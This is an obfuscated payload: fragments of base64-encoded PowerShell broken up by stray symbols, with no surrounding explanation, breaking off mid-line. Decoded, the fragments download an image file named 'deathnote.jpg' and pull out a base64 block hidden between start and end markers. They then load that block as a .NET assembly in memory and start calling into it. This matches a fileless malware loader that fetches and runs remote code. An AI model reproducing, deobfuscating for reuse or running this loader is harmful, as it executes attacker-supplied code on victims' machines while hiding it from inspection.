⍃ ⨞ ❄MQ⼞ ⋄ ⍃ ⨞ ❄w⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄aQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bQBz⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bo⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄bwB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Xw⼞ ⋄ ⍃ ⨞ ❄y⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Mg⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Nw⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQBh⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄Bu⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄agBw⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄dwBl⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄QwBs⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄ZQBu⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄TgBl⼞ ⋄ ⍃ ⨞ ❄Hc⼞ ⋄ ⍃ ⨞ ❄LQBP⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄agBl⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄TgBl⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄LgBX⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄YgBD⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄aQBl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄aQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄ZwBl⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄eQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄cw⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Hc⼞ ⋄ ⍃ ⨞ ❄ZQBi⼞ ⋄ ⍃ ⨞ ❄EM⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgB0⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄R⼞ ⋄ ⍃ ⨞ ❄Bv⼞ ⋄ ⍃ ⨞ ❄Hc⼞ ⋄ ⍃ ⨞ ❄bgBs⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄EQ⼞ ⋄ ⍃ ⨞ ❄YQB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄K⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bQBh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQBV⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄YQBn⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄V⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄V⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄EU⼞ ⋄ ⍃ ⨞ ❄bgBj⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄ZwBd⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄OgBV⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄Rg⼞ ⋄ ⍃ ⨞ ❄4⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄RwBl⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄UwB0⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄aQBu⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄K⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bQBh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQBC⼞ ⋄ ⍃ ⨞ ❄Hk⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄KQ⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄8⼞ ⋄ ⍃ ⨞ ❄Dw⼞ ⋄ ⍃ ⨞ ❄QgBB⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄RQ⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄XwBT⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄QQBS⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄Pg⼞ ⋄ ⍃ ⨞ ❄+⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄8⼞ ⋄ ⍃ ⨞ ❄Dw⼞ ⋄ ⍃ ⨞ ❄QgBB⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄RQ⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄XwBF⼞ ⋄ ⍃ ⨞ ❄E4⼞ ⋄ ⍃ ⨞ ❄R⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄+⼞ ⋄ ⍃ ⨞ ❄D4⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bQBh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQBU⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄B0⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄E8⼞ ⋄ ⍃ ⨞ ❄Zg⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄KQ⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄ZQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄aQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄ZwBl⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄LgBJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄TwBm⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄BG⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄YQBn⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄BJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄BJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄Cs⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄EY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gc⼞ ⋄ ⍃ ⨞ ❄LgBM⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgBn⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄7⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄YgBh⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄T⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄ZwB0⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄BJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄t⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄YQBy⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bi⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cwBl⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄BD⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄aQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄ZwBl⼞ ⋄ ⍃ ⨞ ❄FQ⼞ ⋄ ⍃ ⨞ ❄ZQB4⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄LgBT⼞ ⋄ ⍃ ⨞ ❄HU⼞ ⋄ ⍃ ⨞ ❄YgBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄cgBp⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄Zw⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cgB0⼞ ⋄ ⍃ ⨞ ❄Ek⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄e⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bi⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cwBl⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄BM⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bgBn⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bj⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄eQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄cw⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄QwBv⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄dgBl⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bd⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄OgBG⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄bwBt⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄YQBz⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄By⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bgBn⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bi⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cwBl⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄BD⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄bwBh⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQBk⼞ ⋄ ⍃ ⨞ ❄EE⼞ ⋄ ⍃ ⨞ ❄cwBz⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bQBi⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄eQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄UgBl⼞ ⋄ ⍃ ⨞ ❄GY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bg⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄EE⼞ ⋄ ⍃ ⨞ ❄cwBz⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bQBi⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄eQBd⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄OgBM⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bj⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄eQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄cw⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄B0⼞ ⋄ ⍃ ⨞ ❄Hk⼞ ⋄ ⍃ ⨞ ❄c⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bv⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄QQBz⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄B5⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄RwBl⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄V⼞ ⋄ ⍃ ⨞ ❄B5⼞ ⋄ ⍃ ⨞ ❄H⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ 